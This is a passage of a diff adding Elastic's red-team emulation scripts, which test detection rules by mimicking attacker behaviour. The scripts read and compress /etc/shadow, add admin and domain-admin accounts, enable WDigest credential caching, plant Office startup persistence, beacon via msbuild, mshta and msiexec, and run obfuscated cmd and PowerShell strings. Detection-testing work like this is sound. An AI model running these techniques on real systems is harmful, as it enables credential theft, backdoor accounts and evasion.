+ "net.exe use \\\\{host}\\c$ /delete",
+ ]
+
+ for command in commands:
+ common.execute(command.format(host=remote_host, wmi_node=wmi_node))
+
+ _, whoami = common.execute(["whoami"])
+ _, hostname = common.execute(["hostname"])
+
+ domain, user = whoami.lower().split("\\")
+ hostname = hostname.lower()
+ schtasks_host = remote_host
+
+ # Check if the account is local or a domain
+ if domain in (hostname, "NT AUTHORITY"):
+ common.log("Need password for remote scheduled task in workgroup. Performing instead on %s." % common.get_ip())
+ schtasks_host = common.get_ip()
+
+ task_name = "test_task-%d" % os.getpid()
+ schtask_commands = [
+ r"schtasks /s {host} /delete /tn {name} /f",
+ r"schtasks /s {host} /create /SC MONTHLY /MO first /D SUN /tn {name} /tr c:\windows\system32\ipconfig.exe /f",
+
+ r"schtasks /s {host} /run /tn {name}",
+ r"schtasks /s {host} /delete /tn {name} /f",
+
+ ]
+
+ for command in schtask_commands:
+ command = command.format(host=schtasks_host, name=task_name)
+ common.execute(command)
+
+ # Remote powershell
+ common.execute(["C:\\Windows\\system32\\wsmprovhost.exe", "-Embedding"], timeout=5, kill=True)
+
+
+if __name__ == "__main__":
+ exit(main(*sys.argv[1:]))
diff --git a/rta/linux_compress_sensitive_files.py b/rta/linux_compress_sensitive_files.py
new file mode 100644
index 000000000..171743e9c
--- /dev/null
+++ b/rta/linux_compress_sensitive_files.py
@@ -0,0 +1,33 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Compression of sensitive files
+# RTA: linux_compress_sensitive_files.py
+# Description: Uses built-in commands for *nix operating systems to compress known sensitive
+# files, such as etc/shadow and etc/passwd
+from . import common
+
+
+@common.requires_os(common.LINUX)
+def main():
+ common.log("Compressing sensitive files")
+ files = ['totally-legit.tar', 'official-business.zip', 'expense-reports.gz']
+
+ # we don't want/need these to actually work, since the rule is only looking for command line, so no need for sudo
+ commands = [
+ ['tar', '-cvf', files[0], '/etc/shadow'],
+ ['zip', files[1], '/etc/passwd'],
+ ['gzip', '/etc/group', files[2]]
+ ]
+ for command in commands:
+ try:
+ common.execute(command)
+ except OSError as exc:
+ # command doesn't exist on distro - the rule only needs one to trigger
+ # also means we will eventually need to explore per distro ground truth when we expand as counts will vary
+ common.log(str(exc))
+
+
+if __name__ == '__main__':
+ main()
diff --git a/rta/linux_discovery_sensitive_files.py b/rta/linux_discovery_sensitive_files.py
new file mode 100644
index 000000000..328f96295
--- /dev/null
+++ b/rta/linux_discovery_sensitive_files.py
@@ -0,0 +1,26 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Reading sensitive files
+# RTA: linux_discovery_sensitive_files.py
+# Description: Uses built-in commands for *nix operating systems to read known sensitive
+# files, such as etc/shadow and etc/passwd
+from . import common
+
+
+@common.requires_os(common.LINUX)
+def main():
+ common.log("Reading sensitive files", log_type="~")
+
+ # Launch an interactive shell with redirected stdin, to simulate interactive shell access
+ common.execute('/bin/sh', stdin="""
+ cat /etc/sudoers
+ cat /etc/group
+ cat /etc/passwd
+ cat /etc/shadow
+ """)
+
+
+if __name__ == '__main__':
+ main()
diff --git a/rta/mac_office_descendant.py b/rta/mac_office_descendant.py
new file mode 100644
index 000000000..cbb1c640b
--- /dev/null
+++ b/rta/mac_office_descendant.py
@@ -0,0 +1,26 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Mac Descendant of an Office Application
+# RTA: mac_office_descendant.py
+# Description: Creates a suspicious process spawned from "Microsoft Word"
+
+import os
+
+from . import common
+
+
+@common.requires_os(common.MACOS)
+def main():
+ common.log("Emulating Microsoft Word running enumeration commands")
+ office_path = os.path.abspath("Microsoft Word")
+ common.copy_file("/bin/sh", office_path)
+
+ common.execute([office_path], stdin="whoami")
+
+ common.remove_files(office_path)
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/modification_of_wdigest_security_provider.py b/rta/modification_of_wdigest_security_provider.py
new file mode 100644
index 000000000..0ac0d9cc6
--- /dev/null
+++ b/rta/modification_of_wdigest_security_provider.py
@@ -0,0 +1,32 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Modification of WDigest Security Provider
+# RTA: modification_of_wdigest_security_provider.py
+# ATT&CK: T1003
+# Description: Sets WDigest\UseLogonCredential 1 temporarily
+
+# TODO: Add context to what this does. Does it temporarily disable something?
+
+import sys
+
+from . import common
+
+
+@common.requires_os(common.WINDOWS)
+def main():
+ common.log("Modification of WDigest Security Provider")
+
+ # TODO: See if common.temporory_reg should be used instead
+ common.write_reg(common.HKLM,
+ "SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest", "UseLogonCredential", 1,
+ common.DWORD, restore=False, pause=True)
+
+ common.write_reg(common.HKLM,
+ "SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest", "UseLogonCredential", 0,
+ common.DWORD, restore=False)
+
+
+if __name__ == "__main__":
+ exit(main(*sys.argv[1:]))
diff --git a/rta/ms_office_drop_exe.py b/rta/ms_office_drop_exe.py
new file mode 100644
index 000000000..085f59009
--- /dev/null
+++ b/rta/ms_office_drop_exe.py
@@ -0,0 +1,38 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Emulate MS Office Dropping an executable file to disk
+# RTA: ms_office_drop_exe.py
+# ATT&CK: T1064
+# Description: MS Office writes executable file and it is run.
+
+import os
+import time
+
+from . import common
+
+
+@common.requires_os(common.WINDOWS)
+def main():
+ cmd_path = "c:\\windows\\system32\\cmd.exe"
+
+ for office_app in ["winword.exe", "excel.exe", "powerpnt.exe", "outlook.exe"]:
+ common.log("Emulating office application %s" % office_app)
+ office_path = os.path.abspath(office_app)
+ common.copy_file(cmd_path, office_path)
+
+ bad_path = os.path.abspath("bad-{}-{}.exe".format(hash(office_app), os.getpid()))
+ common.execute([office_path, '/c', 'copy', cmd_path, bad_path])
+
+ time.sleep(1)
+ common.execute([bad_path, '/c', 'whoami'])
+
+ # cleanup
+ time.sleep(1)
+ common.remove_files(office_app, bad_path)
+ print("")
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/msbuild_network.py b/rta/msbuild_network.py
new file mode 100644
index 000000000..fa97a885f
--- /dev/null
+++ b/rta/msbuild_network.py
@@ -0,0 +1,35 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: MsBuild with Network Activity
+# RTA: msbuild_network.py
+# ATT&CK: T1127
+# Description: Generates network traffic from msbuild.exe
+
+from . import common
+
+MS_BUILD = 'C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\msbuild.exe'
+
+
+@common.requires_os(common.WINDOWS)
+@common.dependencies(MS_BUILD)
+def main():
+ common.log("MsBuild Beacon")
+ server, ip, port = common.serve_web()
+ common.clear_web_cache()
+
+ common.log("Updating the callback http://%s:%d" % (ip, port))
+ target_task = "tmp-file.csproj"
+ common.copy_file(common.get_path("bin", "BadTasks.csproj"), target_task)
+ new_callback = "http://%s:%d" % (ip, port)
+ common.patch_regex(target_task, common.CALLBACK_REGEX, new_callback)
+
+ common.execute([MS_BUILD, target_task], timeout=30, kill=True)
+ common.remove_file(target_task)
+
+ server.shutdown()
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/mshta_network.py b/rta/mshta_network.py
new file mode 100644
index 000000000..65977f9bc
--- /dev/null
+++ b/rta/mshta_network.py
@@ -0,0 +1,34 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Microsoft HTA tool (mshta.exe) with Network Callback
+# RTA: mshta_network.py
+# ATT&CK: T1170
+# Description: Generates network traffic from mshta.exe
+
+from . import common
+
+HTA_FILE = common.get_path("bin", "beacon.hta")
+
+
+@common.requires_os(common.WINDOWS)
+@common.dependencies(HTA_FILE)
+def main():
+ # http server will terminate on main thread exit
+ # if daemon is True
+ common.log("MsHta Beacon")
+ server, ip, port = common.serve_web()
+ common.clear_web_cache()
+
+ new_callback = "http://%s:%d" % (ip, port)
+ common.log("Updating the callback to %s" % new_callback)
+ common.patch_regex(HTA_FILE, common.CALLBACK_REGEX, new_callback)
+
+ mshta = 'mshta.exe'
+ common.execute([mshta, HTA_FILE], timeout=3, kill=True)
+ server.shutdown()
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/msiexec_http_installer.py b/rta/msiexec_http_installer.py
new file mode 100644
index 000000000..e999809d2
--- /dev/null
+++ b/rta/msiexec_http_installer.py
@@ -0,0 +1,26 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: MsiExec with HTTP Installer
+# RTA: msiexec_http_installer.py
+# ATT&CK:
+# Description: Use msiexec.exe to download an executable from a remote site over HTTP and run it.
+
+from . import common
+
+
+@common.requires_os(common.WINDOWS)
+def main():
+ common.log("MsiExec HTTP Download")
+ server, ip, port = common.serve_web()
+ common.clear_web_cache()
+ common.execute(["msiexec.exe", "/quiet", "/i", "http://%s:%d/bin/Installer.msi" % (ip, port)])
+ common.log("Cleanup", log_type="-")
+ common.execute(["msiexec", "/quiet", "/uninstall", "http://%s:%d/bin/Installer.msi" % (ip, port)])
+
+ server.shutdown()
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/msxsl_network.py b/rta/msxsl_network.py
new file mode 100644
index 000000000..015c377f9
--- /dev/null
+++ b/rta/msxsl_network.py
@@ -0,0 +1,33 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: msxsl.exe Network
+# RTA: msxsl_network.py
+# ATT&CK: T1127
+# Description: Generates network traffic from msxsl.exe
+
+from . import common
+
+MS_XSL = common.get_path("bin", "msxsl.exe")
+XML_FILE = common.get_path("bin", "customers.xml")
+XSL_FILE = common.get_path("bin", "cscript.xsl")
+
+
+@common.requires_os(common.WINDOWS)
+@common.dependencies(MS_XSL, XML_FILE, XSL_FILE)
+def main():
+ common.log("MsXsl Beacon")
+ server, ip, port = common.serve_web()
+ common.clear_web_cache()
+
+ new_callback = "http://%s:%d" % (ip, port)
+ common.log("Updating the callback to %s" % new_callback)
+ common.patch_regex(XSL_FILE, common.CALLBACK_REGEX, new_callback)
+
+ common.execute([MS_XSL, XML_FILE, XSL_FILE])
+ server.shutdown()
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/net_user_add.py b/rta/net_user_add.py
new file mode 100644
index 000000000..a9d4124f3
--- /dev/null
+++ b/rta/net_user_add.py
@@ -0,0 +1,38 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Create User with net.exe
+# RTA: net_user_add.py
+# ATT&CK: T1136
+# Description: Adds an account to the local host using the net.exe command
+
+from . import common
+
+
+@common.requires_os(common.WINDOWS)
+def main():
+ common.log("Creating local and domain user accounts using net.exe")
+ commands = [
+ 'net.exe user macgyver $w!$$@rmy11 /add /fullname:"Angus Macgyver"',
+ 'net.exe user macgyver $w!$$@rmy11 /add /fullname:"Angus Macgyver" /domain',
+ 'net.exe group Administrators macgyver /add',
+ 'net.exe group "Domain Admins" macgyver /add /domain',
+ 'net.exe localgroup Administrators macgyver /add',
+ ]
+
+ for cmd in commands:
+ common.execute(cmd)
+
+ cleanup_commands = [
+ "net.exe user macgyver /delete",
+ "net.exe user macgyver /delete /domain"
+ ]
+
+ common.log("Removing local and domain user accounts using net.exe", log_type="-")
+ for cmd in cleanup_commands:
+ common.execute(cmd)
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/obfuscated_cmd_commands.py b/rta/obfuscated_cmd_commands.py
new file mode 100644
index 000000000..bd3fa8c64
--- /dev/null
+++ b/rta/obfuscated_cmd_commands.py
@@ -0,0 +1,37 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Emulate Obfuscated cmd Commands
+# RTA: obfuscated_cmd_commands.py
+# ATT&CK: T1036
+# Description: Runs commands through cmd that are obfuscated using multiple techniques.
+import time
+
+from . import common
+
+
+@common.requires_os(common.WINDOWS)
+def main():
+ # All encoded versions of the following: `start calc && ping -n 2 127.0.0.1>nul && taskkill /im calc.exe`
+ commands = """
+ %comspec% /c "cm%OS:~-7,1% /c start%CommonProgramFiles(x86):~29,1%%PUBLIC:~-1%alc && ping -%APPDATA:~-2,-1% 2 127.0.0.1>nul &&%CommonProgramFiles(x86):~-6,1%taskkil%CommonProgramFiles:~-3,-2% /im %TMP:~-8,1%alc.exe
+ cmd /c "%pUBLIc:~ 14%%PRogRamFIleS:~ 9, -6%%Os:~ 3, -6% /%pubLIc:~ 14, 1% s%TeMp:~ -13, -12%%aPPdATA:~ -11, 1%%prograMfILeS(x86):~ -18, 1%%tMP:~ -13, -12%%prOGRAMw6432:~ -6, -5%%PubliC:~ 14, 1%%Temp:~ -12, -11%%tMP:~ -6, 1%%pubLic:~ 14%%COmmONPRoGRaMfILes:~ 23, 1%&&%COMmOnPrograMw6432:~ -19, -18%%tmp:~ -17, 1%%ApPDatA:~ -3, 1%%CoMmONProgrAMW6432:~ 22, 1%%APPDaTA:~ -1%%PrOGramFILeS:~ -6, -5%-%aPPDaTa:~ -2, -1% 2%pROGRaMW6432:~ -6, -5%127.0.0.1>%apPData:~ -2, 1%u%ProGRaMW6432:~ -3, 1%%COMmoNPRogramFIles(X86):~ -19, -18%&&%PRoGRaMfILES:~ 10, -5%%ALlUsErspRoFiLe:~ 12, -1%a%COmmOnPrOgrAmw6432:~ 28, 1%kk%COmmONPRoGRAmFiles:~ -17, -16%%PUBLic:~ -3, 1%l%prOgrAmW6432:~ -6, 1%/%SyStEmRoOt:~ 4, 1%%COmMOnPROGramfiLeS:~ -9, -8%%prOGRaMW6432:~ 10, -5%%PUBlic:~ -1, 1%%aLlUSErSproFilE:~ -3, 1%%progRaMFIleS(X86):~ 13, 1%c.%tMp:~ -3, 1%x%PUBLiC:~ 5, 1%
+ cmd /C"set 29L= &&set naP=lc.ex&&set MLe=0.0.1^^^>nul&&set 9YKn=g -n 2 127.&&set DKy=cmd /c &&set WC= ^^^&^^^& taskkill /im&&set 4t8r=rt &&set Kn=e&&set Mx=ca&&set Ave=calc ^^^&^^^& pin&&set Ngsa=sta&&call set UB=%DKy%%Ngsa%%4t8r%%Ave%%9YKn%%MLe%%WC%%29L%%Mx%%naP%%Kn%&&cmd /C %UB%"
+ cmd /V:ON/C"set Qbd=exe.clac mi/ llikksat ^&^& lun^>1.0.0.721 2 n- gnip ^&^& clac trats c/ dmc&&for /L %B in (68,-1,0)do set Lk=!Lk!!Qbd:~%B,1!&&if %B lss 1 cmd /C !Lk:*Lk!=!"
+ cmd /V:ON/C"set Bhq=lsep0gxmu-cdatrk^&i2/n.^>7 1&&for %n in (10;7;11;24;19;10;24;1;13;12;14;13;24;10;12;0;10;24;16;16;24;3;17;20;5;24;9;20;24;18;24;25;18;23;21;4;21;4;21;25;22;20;8;0;24;16;16;24;13;12;1;15;15;17;0;0;24;19;17;7;24;10;12;0;10;21;2;6;2;36)do set bj6=!bj6!!Bhq:~%n,1!&&if %n gtr 35 cmd.exe /C!bj6:~-69!"
+ cmd /V:ON/C"set bc=cmd""b/cbstMHrtbcMHlcb^&^&bpi4gb-4b2b127.0.0.1^>4ulb^&^&btMHskkillb/imbcMHlc.nxn&&set MDi=!bc:MH=a!&&set J7HE=!MDi:n=e!&&set Ryxf=!J7HE:4=n!&&set o2=!Ryxf:b= !&&cmd.exe /C %o2%"
+ ^F^o^R ;, /^F ," tokens=+2 delims=I=0fU" ; ; %^k , ^In ; ( , ' ; ; ^^As^^SoC , ,.cmd', ; ); ^D^O ;%^k; ; BK ;4Gp/^r" ,, ( (^Set ^ ^\#=^^^^^^^>n), )& (se^t ^_'~=^.)&&( , , ,,, (^sE^t ^ [.^?=^ ) , , )& ( , (s^ET -^+@=^r) , )& (s^et ^$^~^`?=^k)&& (^sEt ^ ^@[~^$=^p)&& (s^Et ^ ^.{`^[=^0.1)&&(,(^set }^*^;_=^^^^^^^&) )&& ( ; ; (^se^t ^ ^'^][}=^l) ; ; )& (s^E^T ^ ^];^}#=^ )&&(^sEt ^ ^.^#^@=^i)& ( (SE^T ^ ^-^?+^{=^ ) )&( ; ; (^SeT ,^?^.^[=^ca) )& (sE^T ^*^',^+=^2)&& (S^E^t ^.^[=^u)&& (S^e^t \^~=^.)& ( , (^Se^T ^{#=^a) )&&( , (s^ET ^\$}^_=^c), )&(^s^e^T ^ ^_^-@`=^0)&( , , ,, , (s^E^T ^ ^}^;=s) )& ( (sE^T ^ ^{_=n) ,)&&( (SE^T ^ ~^,=^ ) )&&( ; (SE^T ^;~?^{=^a) )&& (^S^et ^ ^ `@^~^*=^x)& (s^eT ^+$=^t)&(^S^ET ^ ^$.^]=^t)&& (^S^Et @^[^,=^g)& ( (^S^Et *^\`=^.) )&& (SE^t ^]{=^e)& ( ,;, (^SeT ^'^[=^ ) , )&(^se^T ^ \-^,=k)& ( , (s^et ^ ^ _,^\=l) , , )&& ( (s^eT ^ #^`.=^l ) ; )&(^S^Et ^ -^`=^ )&& (S^ET *^}]^'=^e)&& (SE^t ^;^.*=2^7)&& (S^eT ^ *^;+=^ 1)&(^sET ^_#=^i^m)&( (s^e^T ^ ^[^{^]@=^^^^^^^&^^^^^^^&), , , , ,)&& (^s^E^t ^ ^.^#=l^c)&&(s^e^T ^ .^{=^c)&&(S^et ^.~^}_=^st)&& ( ,, , (^SE^T ^ ^}^+'=^ ) , )& (^seT ;^}@=^^^^^^^&)&&(^se^T [^*{=^ ^-n)& (^S^eT ^ -^*=^/)&( ; (S^E^T ^ ^]^\=^a) ; ; )& ( (^se^T ^ -^}_=^i^l) )&& , ; c^a^l^l ; SE^T +}=%^.~^}_%%^;~?^{%%-^+@%%^$.^]%%^-^?+^{%%,^?^.^[%%_,^\%%^\$}^_%%^}^+'%%^[^{^]@%%^];^}#%%^@[~^$%%^.^#^@%%^{_%%@^[^,%%[^*{%%^'^[%%^*^',^+%%*^;+%%^;^.*%%^_'~%%^_^-@`%%*^\`%%^.{`^[%%^\#%%^.^[%%#^`.%%}^*^;_%%;^}@%%~^,%%^+$%%^]^\%%^}^;%%^$^~^`?%%\-^,%%-^}_%%^'^][}%%[.^?%%-^*%%^_#%%-^`%%.^{%%^{#%%^.^#%%\^~%%^]{%%`@^~^*%%*^}]^'%& , ^CA^l^L ,, eC^H^O , ,%^+}%"| ;f^or; ; /^F; ; " delims=Vvl tokens= +3 " ,, %^3 , ^in ; ( ; , ' ,^^^^as^^^^S^^^^O^^^^c ; ^^^| ; ^^^^f^^^^ind^^^^s^^^^TR ; on^^^^X ', ) ; ; ^do; , %^3;
+ """ # noqa: E501
+ commands = [c.strip() for c in commands.splitlines()]
+
+ for a in commands:
+ common.execute(a, shell=True, mute=True)
+ time.sleep(1)
+
+ common.execute(["taskkill", "/F", "/im", "calc.exe"])
+ common.execute(["taskkill", "/F", "/im", "calculator.exe"])
+
+
+if __name__ == "__main__":
+ main()
diff --git a/rta/obfuscated_powershell.py b/rta/obfuscated_powershell.py
new file mode 100644
index 000000000..417beb422
--- /dev/null
+++ b/rta/obfuscated_powershell.py
@@ -0,0 +1,40 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Obfuscated PowerShell Commands
+# RTA: obfuscated_powershell.py
+# ATT&CK: T1027,T1140,T1192,T1193
+# Description: Runs commands through PowerShell that are obfuscated using multiple techniques.
+import time
+
+from . import common
+
+
+@common.requires_os(common.WINDOWS)
+def main():
+ # All encoded versions of the following:
+ # `iex("Write-Host 'This is my test command' -ForegroundColor Green; start c:\windows\system32\calc")`
+ commands = r"""
+ .($env:public[13]+$env:public[5]+'x')("Write-Host 'This is my test command' -ForegroundColor Green; start c:\windows\system32\calc.exe")
+ iex((('W'+'rite-Hos'+'t no'+'HThi'+'s'+' is'+' my test comma'+'n'+'dnoH'+' '+'-F'+'oregroundCol'+'or G'+'r'+'e'+'en'+'; start'+' c:z'+'R'+'d'+'window'+'szRdsystem'+'3'+'2zRdca'+'lc').rEPlacE(([chaR]122+[chaR]82+[chaR]100),'\').rEPlacE('noH',[StrINg][chaR]39)))
+ iex("W''rite-H''ost 'This is my test command' -Fore''grou''ndC''olor Gr''een; start c:\windows\system32\ca''lc.ex''e")
+ iex("Write-Host 'This is my test command' -ForegroundColor Green; start c:\windows\system32\" + $env:public[-1] + "alc.exe")
+ iex(((("{23}{7}{8}{16}{25}{9}{21}{18}{2}{5}{15}{11}{20}{24}{6}{12}{22}{17}{1}{13}{3}{10}{14}{19}{0}{4}" -f 'alc.ex','ndowsSDUsyst','dm4','2','e','H','r','r','ite-Ho','This i','S','oregroundC',' Gr','em3','DU',' -F','s','rt c:SDUwi','t comman','c','ol','s my tes','een; sta','W','o','t m4H')).rePlAce(([Char]109+[Char]52+[Char]72),[StrIng][Char]39).rePlAce(([Char]83+[Char]68+[Char]85),'\')))
+ i`ex("Write-Host 'This is my t`est co`mmand' -ForegroundColor Gr`een; start c`:\wind`ows\syste`m32\calc.e`xe")
+ &( ([StrIng]$vERbosEpreFereNCE)[1,3]+'x'-JoiN'') ([char[]]( 105 , 101 ,120 ,40 ,34 , 87,114 ,105,116,101 ,45,72 , 111,115,116, 32 , 39,84, 104,105 ,115 ,32, 105 , 115, 32 , 109 ,121 ,32 , 116 ,101,115 ,116 , 32 , 99, 111,109 ,109, 97 , 110,100 , 39 ,32,45,70,111 ,114 ,101, 103 ,114 ,111 ,117 ,110, 100, 67 ,111 ,108 , 111,114,32, 71 ,114, 101, 101, 110, 59, 32, 115 ,116,97, 114,116, 32, 99,58 ,92 , 119,105 ,110 , 100 , 111 , 119 , 115,92 ,115 , 121 ,115, 116, 101,109, 51 , 50 , 92,99, 97, 108 , 99,46 , 101, 120,101 , 34,41) -jOIN'' )
+ " $( SET-vARiAble 'ofs' '' )"+[StRInG]('69>65n78g28g22R57R72>69R74u65g2dR48M6fn73R74V20%27V54n68M69>73n20%69u73V20>6dV79>20V74M65%73g74>20M63M6fM6dn6dV61g6eR64>27M20M2d%46n6fM72M65M67>72>6fn75u6eV64>43g6fV6cM6fn72M20u47n72M65>65>6e%3bR20R73%74V61R72V74u20R63M3an5c%77%69g6e>64%6fg77n73u5cV73V79n73V74>65M6dn33%32V5cV63g61V6cg63%2eg65%78n65%22>29'.spLiT('Mu>RV%gn')| % { ( [chAr]([coNVErT]::tOINT16( ([sTRING]$_ ) ,16 ))) }) +" $(SET-Item 'vARiable:OFS' ' ' ) " |& ( $verbOsePREFeRENce.tOstrING()[1,3]+'X'-JOIn'')
+ ${ }= +$(); ${ } =${ }; ${ }= ++ ${ };${ }= ++${ }; ${ }=++ ${ };${ } = ++ ${ };${ }= ++ ${ }; ${ } = ++ ${ };${ }=++ ${ }; ${ }= ++ ${ };${ } =++ ${ }; ${ } ="[" + "$(@{} ) "[ ${ }] + "$(@{})"[ "${ }${ }" ]+"$( @{} ) "["${ }${ }" ] + "$? "[${ }]+ "]";${ }= "".("$( @{ } ) "[ "${ }"+"${ }" ] + "$(@{})"["${ }" +"${ }"]+"$( @{ } )"[${ }]+ "$(@{ }) "[ ${ } ] +"$?"[${ }] + "$(@{ }) "[${ }] );${ } ="$(@{})"["${ }${ }" ]+ "$(@{})"[ ${ }] +"${ }"["${ }${ }"]; "${ }(${ }${ }${ }${ } + ${ }${ }${ }${ }+ ${ }${ }${ }${ } + ${ }${ }${ }+ ${ }${ }${ } + ${ }${ }${ } + ${ }${ }${ }${ }+ ${ }${ }${ }${ }+ ${ }${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ }+ ${ }${ }${ }+${ }${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ }${ } +${ }${ }${ }+ ${ }${ }${ }+ ${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ }${ } +${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ }+${ }${ }${ }${ } +${ }${ }${ }${ }+ ${ }${ }${ } +${ }${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ }${ }+ ${ }${ }${ }${ }+ ${ }${ }${ }+ ${ }${ }${ }+${ }${ }${ }${ } +${ }${ }${ }${ } +${ }${ }${ }${ } + ${ }${ }${ } +${ }${ }${ }${ } +${ }${ }${ }${ }+ ${ }${ }${ } +${ }${ }${ } +${ }${ }${ }+${ }${ }${ }+${ }${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ }${ }+${ }${ }${ }${ } +${ }${ }${ }${ } + ${ }${ }${ }${ } +${ }${ }${ }${ } +${ }${ }${ }${ }+${ }${ }${ }${ }+ ${ }${ }${ } + ${ }${ }${ }${ } +${ }${ }${ }${ }+ ${ }${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ } + ${ }${ }${ }+ ${ }${ }${ }${ } +${ }${ }${ }${ }+${ }${ }${ }${ } + ${ }${ }${ }${ }+${ }${ }${ }+${ }${ }${ }+ ${ }${ }${ }${ }+${ }${ }${ }${ }+ ${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ }${ } + ${ }${ }${ }+ ${ }${ }${ } + ${ }${ }${ }+${ }${ }${ } +${ }${ }${ }${ }+${ }${ }${ }${ } + ${ }${ }${ }${ }+${ }${ }${ }${ }+ ${ }${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ }${ }+ ${ }${ }${ } +${ }${ }${ }${ } +${ }${ }${ }${ } + ${ }${ }${ }${ }+${ }${ }${ }${ }+ ${ }${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ } + ${ }${ }${ } + ${ }${ }${ }+${ }${ }${ } + ${ }${ }${ } +${ }${ }${ }${ }+ ${ }${ }${ } + ${ }${ }${ } + ${ }${ }${ }${ }+ ${ }${ }${ }${ } +${ }${ }${ }${ }+${ }${ }${ } + ${ }${ }${ } )"| &${ }
+ """ # noqa: E501
+ commands = [c.strip() for c in commands.splitlines()]
+
+ for command in commands:
+ common.execute(["powershell", "-c", command], shell=True)
+ time.sleep(1)
+
+ common.execute(["taskkill", "/F", "/im", "calc.exe"])
+ common.execute(["taskkill", "/F", "/im", "calculator.exe"])
+
+
+if __name__ == "__main__":
+ main()
diff --git a/rta/office_application_startup.py b/rta/office_application_startup.py
new file mode 100644
index 000000000..3c262da54
--- /dev/null
+++ b/rta/office_application_startup.py
@@ -0,0 +1,36 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Office Application Startup
+# RTA: office_application_startup.py
+# ATT&CK: T1137
+# Description: Modifies the registry to persist a DLL on Office Startup.
+
+import sys
+
+from . import common
+
+
+@common.requires_os(common.WINDOWS)
+def main(dll_location="c:\\windows\\temp\\evil.dll"):
+ # Write evil dll to office test path:
+ subkey = "Software\\Microsoft\\Office Test\\Special\\Perf"
+ common.write_reg(common.HKCU, subkey, "", dll_location)
+ common.write_reg(common.HKLM, subkey, "", dll_location)
+
+ # winreg = common.get_winreg()
+ # set_sleep_clear_key(winreg.HKEY_CURRENT_USER, subkey, "", dll_location, winreg.REG_SZ, 3)
+ # set_sleep_clear_key(winreg.HKEY_LOCAL_MACHINE, subkey, "", dll_location, winreg.REG_SZ, 3)
+
+ # Turn on Office 2010 WWLIBcxm persistence
+ subkey = "Software\\Microsoft\\Office\\14.0\\Word"
+ common.write_reg(common.HKCU, subkey, "CxmDll", 1, common.DWORD)
+
+ # set_sleep_clear_key(winreg.HKEY_CURRENT_USER, subkey, "CxmDll", 1, winreg.REG_DWORD, 0)
+
+ return common.SUCCESS
+
+
+if __name__ == "__main__":
+ exit(main(*sys.argv[1:]))
diff --git a/rta/persistent_scripts.py b/rta/persistent_scripts.py
new file mode 100644
index 000000000..059a90451
--- /dev/null
+++ b/rta/persistent_scripts.py
@@ -0,0 +1,61 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Persistent Scripts
+# RTA: persistent_scripts.py
+# ATT&CK: T1064 (Scripting), T1086 (PowerShell)
+
+import os
+import time
+
+from . import common
+
+VBS = common.get_path("bin", "persistent_script.vbs")
+NAME = "rta-vbs-persistence"
+
+
+@common.requires_os(common.WINDOWS)
+@common.dependencies(common.PS_EXEC, VBS)
+def main():
+ common.log("Persistent Scripts")
+
+ if common.check_system():
